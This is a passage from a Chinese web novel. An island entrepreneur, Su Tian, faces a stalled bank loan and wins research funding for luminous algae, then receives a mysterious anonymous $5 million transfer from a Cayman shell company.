温泉池中的玛丽安被惊扰,不悦地睁开眼。“怎么回事?詹姆斯?”
詹姆斯快步走到牵犬保镖身边,低声询问了几句,脸色变得有些凝重,走回池边低声汇报。
“夫人,阿瑞斯似乎嗅到了。陌生且带有威胁性的气息。在雨林边缘,它很少这么失控。”
陌生且带有威胁性的气息?
苏甜的心猛地一沉!目光瞬间锐利如刀,射向那片幽深的热带雨林!
34. 第34章
第34章贷款风波与神秘投资人
温泉池中,罗威纳护卫犬阿瑞斯那充满威胁的低沉咆哮,如同闷雷滚过火山地带蒸腾的雾气。玛丽安被惊扰,不悦地蹙起眉头,蓝灰色的眼眸里掠过一丝被打断享受的愠怒。
她带来的保镖们瞬间绷紧了神经,锐利的目光齐刷刷射向雨林边缘那片茂密,光线昏暗的绿色屏障。牵犬的保镖詹姆斯死死拽住躁动不安的阿瑞斯,粗壮的狗绳绷得笔直。
“陌生威胁?在这荒岛上?”玛丽安的声音带着一丝被打扰的冷意,她优雅地抬手,示意助理递上浴巾。
“詹姆斯,带阿瑞斯过去看看。我不喜欢。未知的窥探。”她瞥了一眼旁边的苏甜,防晒面罩虽已重新戴上,但眼神里的审视意味不言而喻。岛上的安保,显然无法让她满意。
“是,夫人。”詹姆斯立刻牵起依旧低吼的阿瑞斯,带着另外两名保镖,如同离弦之箭般冲向雨林边缘。训练有素的护卫犬凭借惊人的嗅觉,一路追踪,很快消失在茂密的植被中。
温泉池边的气氛瞬间变得有些凝滞。陈工和他的伙计们停下了手中的活计,紧张地望着雨林方向。琳达的直播镜头也识趣地转向了别处,但弹幕里已经刷起了【保镖犬好凶!】、【有坏人?】、【刺激!】的猜测。
苏甜的心沉了下去。刀疤张的小弟?周屿辰派来窥探火山岩砖工坊或者蓝藻秘密的人?还是冲着玛丽安来的?无论哪一种,都意味着麻烦。
她强压下不安,对玛丽安露出一个歉意的微笑。“非常抱歉惊扰到您,玛丽安女士。岛上生态原始,偶尔有些野生动物。”
“但愿只是只迷路的猴子。”玛丽安打断她,语气恢复了之前的慵懒挑剔,但眼底的警惕并未散去。她在助理的搀扶下优雅地起身,裹上浴巾,重新戴上防晒面罩和珍珠项链,仿佛刚才的插曲并未发生。
“温泉体验。尚可。Darling苏,记得改进建议。现在,送我回房间吧。我需要一个安静的环境,来仔细思考一下你那个[深蓝之心]的童话。”
苏甜亲自将玛丽安送回生态小屋。这位贵妇显然被刚才的小插曲影响了心情,对简陋的住宿条件抱怨了几句后,便示意苏甜离开,她要休息和思考。
离开小屋,苏甜脸上的笑容瞬间消失,眼神变得凝重。资金!安保!还有那随时可能失控的蓝藻和藏在暗处的毒蛇!压力如同巨石般压来。她深吸一口气,走向营地角落那间充当临时办公室的简陋棚屋。
办公桌上,那份她熬了几个通宵,结合了陈工对火山岩砖性能的初步评估,徐青野(在苏甜引导下)对蓝藻潜在价值的夸张描述,以及从系统蓝图中剥离出,删减掉自修复玻璃核心的海底餐厅基础方案和预算报告,正静静地躺在那里。报告的最后,是一个触目惊心的数字。
前期启动资金缺口800万美元。这还仅仅是用于组建专业水下施工团队,采购基础设备(高压潜水装备、小型水下作业机器人),以及支付部分特殊材料(非核心)的定金!
这份报告,是她敲开资本大门的敲门砖,也是她对抗苏振业和周屿辰金融绞索的第一步!
她拿起卫星电话,拨通了那位对她火山温泉疗愈属性表现出浓厚兴趣,且之前曾初步接触过的本地银行信贷部经理。张经理的电话。这位张经理属于那种有野心但相对谨慎的银行家,对创新环保项目有兴趣,但也极其注重风险控制。
电话接通,张经理热情的声音传来。“苏小姐!终于等到您的方案了![深蓝之心]海底餐厅!火山岩砖!新型藻类能源!这概念太震撼了!报告我收到了,正在看。真是大手笔啊!”
“张经理过奖了。”苏甜声音平静,带着自信。
“项目前景毋庸置疑,玛丽安·冯·施特劳斯女士已经明确表示了投资意向,她的家族办公室正在做评估。但我们需要一笔过桥贷款,用于前期团队的组建和设备采购。用火山温泉独家开发权和项目未来收益作为抵押,您看。”
“抵押物没问题!概念也非常好!”张经理的声音依旧热情,但苏甜敏锐地捕捉到了一丝不易察觉的迟疑。
“苏小姐的项目,我们银行绝对是看好的!不过。您也知道,这么大的金额,又是这种创新性极强的项目,风险系数确实比较高。按照流程,我们需要总行风控部门的最终审批。可能需要一点时间。”
“大概需要多久?”苏甜追问,心中升起一丝不祥的预感。
“这个。快的话一周,慢的话。”张经理的声音含糊起来。“总行那边最近流程卡得比较严,尤其是对一些。嗯。关联性比较复杂的项目,审核会更审慎一些。”
关联性复杂?苏甜的心猛地一沉!苏振业!肯定是他动用了家族在本地金融界的影响力,给银行施压了!所谓的流程卡得严,不过是拖延和拒绝的借口!
“张经理,”苏甜的声音冷了下来,带着一丝不易察觉的锋芒。
“流程卡顿,是卡在项目本身的风险评估,还是卡在。某些来自外部,与项目无关的[压力]上?如果是后者,我想提醒您,玛丽安女士的投资评估报告一旦出来,恐怕就不是800万美金能满足的了。机遇,转瞬即逝。”
电话那头沉默了足有十几秒。张经理的声音再响起时,热情已经消失了大半,只剩下公式化的客套和无奈。“苏小姐,您误会了。银行有自己的风控原则和流程。我们会尽快推进的,请您耐心等待。有消息我会第一时间通知您。再见。”
忙音传来。冰冷的拒绝,裹挟着苏振业的阴冷笑意。
第一轮冲锋,被资本的壁垒无情挡回!800万的缺口,像一道巨大的鸿沟横亘在眼前。没有这笔启动资金,什么水下施工团队,什么专业设备,都是空中楼阁!陈工再能造砖,也变不出能在深海作业的机器人!
一股沉重的无力感瞬间攫住了苏甜。她靠在简陋的办公桌上,闭了闭眼。难道真的要去求玛丽安提前注资?但那位贵妇明显还在观望,五千万欧元的评估需要时间,而且过早依赖单一金主,未来风险巨大!
就在这时。
“苏甜!苏甜!”徐青野那标志性,带着科研狂人亢奋的喊声由远及近。他几乎是撞开了棚屋的门,金丝眼镜歪斜,头发被海风吹得像个鸟窝,脸上却洋溢着一种发现了新大陆般的激动红光。他手里挥舞着一个平板电脑,屏幕上密密麻麻全是令人眼花的图表和数据。
“怎么了?蓝藻又出问题了?”苏甜心头一紧,立刻站起身。现在任何关于蓝藻的坏消息都是雪上加霜!
“问题?不!是机会!巨大的机会!”徐青野冲到苏甜面前,将平板电脑塞到她眼前,手指激动地点着屏幕上一条如同心电图般剧烈波动的曲线。
“看到没?!能量波动!在特定的低频声波刺激下,这种变异蓝藻的荧光强度和其内部某种未知的能量代谢速率,会呈现指数级的共振放大!而且这种能量。非常温和稳定!可以收集!”
苏甜看着那令人费解的数据曲线,一头雾水。“能量?共振?说人话,徐博士!”
“简单说!”徐青野推了推眼镜,眼中闪烁着极度兴奋的光芒。
“这些蓝藻,不仅能发光!在特定条件下,它们还能高效地转化储存一种极其温和,类似生物电能的能量!这种能量,虽然单位强度不高,但总量极其可观,而且极其纯净稳定!比锂电池安全一万倍!简直是完美的生物电池!”
生物电池?苏甜愣住了。这和她急需的资金有什么关系?
“我刚刚把这个初步发现,用加密频道发给了我导师![蔚蓝之盾]的首席科学家,劳伦斯·霍夫曼博士!”徐青野激动得声音都在颤抖。
“他震惊了!立刻召开了紧急线上会议!好
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几个顶级实验室的负责人都在线!他们一致认为,这发现具有颠覆性的潜力!尤其是在深海微型传感器,长期环境监测浮标,甚至未来海洋生态建筑的自持能源领域!”
他深吸一口气,看着苏甜,眼神亮得惊人。
“苏甜!霍夫曼博士代表[蔚蓝之盾]科研基金会,想立刻和我们建立专项合作!他们愿意提供前期科研经费。200万美元!立刻到账!用于设立岛上联合研究站,深入研究这种蓝藻的能量转化机制和应用前景!条件是我们必须保证研究样本的独家性和研究环境的保密性!”
200万美元!科研经费!
苏甜只觉得一股热血猛地冲上头顶!峰回路转!绝处逢生!徐青野的疯狂研究,竟然歪打正着,钓来了第一条大鱼!虽然这200万是科研经费,专款专用,但足以解燃眉之急!至少能支付专业水下团队的核心定金和采购最急需的设备了!
“答应他!”苏甜毫不犹豫,斩钉截铁。
“立刻回复霍夫曼博士!合作条件我们完全同意!资金尽快到位!保密性绝对保证!”她心中狂喜,这简直是天降甘霖!不仅解决了部分资金,更将【蔚蓝之盾】这个顶级科研机构牢牢绑上了自己的战车!这背书的价值,远超200万美元!
“太好了!我这就去回复!”徐青野兴奋地转身就跑,像一阵风似的刮了出去。
苏甜靠在桌边,长长地舒了一口气。虽然银行的路被苏振业堵死,但柳暗花明又一村!徐青野的人脉和这诡异的蓝藻,成了撬动资源的支点!她立刻拿起电话,准备联系之前接触过的几家水下工程公司,有了这200万定金,谈判的底气就足了!
然而,就在她翻找通讯录的时候。
“叮!”
她随身携带的另一部用于商业联系的手机,突然收到了一条来自海外银行的加密短信通知。
【您尾号XXXX的离岸账户收到一笔匿名汇款。金额5,000,000.00美元。汇款附言ForthedreamoftheDeepBlueHeart.(为了深蓝之心的梦想)】
五百万美元?!
苏甜握着手机,如同被一道无形的闪电击中!整个人僵在原地!
不是徐青野的科研经费!那200万还没到账!
也不是玛丽安!她的评估报告不可能这么快!
更不可能是银行!
匿名!五百万美金!附言直指【深蓝之心!】
是谁?!
苏甜的心脏狂跳起来,几乎要撞出胸膛!她立刻登录那个极少使用,专门用于接收风投资金的离岸银行账户后台。
汇款方信息:一个在开曼群岛注册,名字由毫无意义的字母和数字组成的空壳公司(Shelpany)。没有任何可追溯的有效信息。
汇款附言只有那一行字:ForthedreamoftheDeepBlueHeart.
干净,利落,不留痕迹。如同一个幽灵的馈赠。
是敌?是友?是新的陷阱?还是。某个一直在暗中观察,此刻终于出手的神秘存在?
苏甜盯着屏幕上那冰冷的数字和神秘的附言,巨大的资金缺口瞬间被填平了大半的狂喜。被一种更深沉,如同置身迷雾般的警惕和不安所取代。这突如其来的巨款,非但没有带来安全感,反而像一块烧红的烙铁,烫得她心惊肉跳。
她猛地想起玛丽安抱怨狗仔队时,她保镖那句意味深长的话。“阿瑞斯很少这么失控。”以及雨林边缘那被追踪的陌生威胁气息。
这个神秘的【梦想支持者】,会不会。就在岛上?正在某个角落,静静地注视着这一切?
她下意识地抬起头,目光穿透简陋棚屋的窗户。
投向那片在晨光中蒸腾着雾气,隐藏着无尽秘密的绿色雨林深处。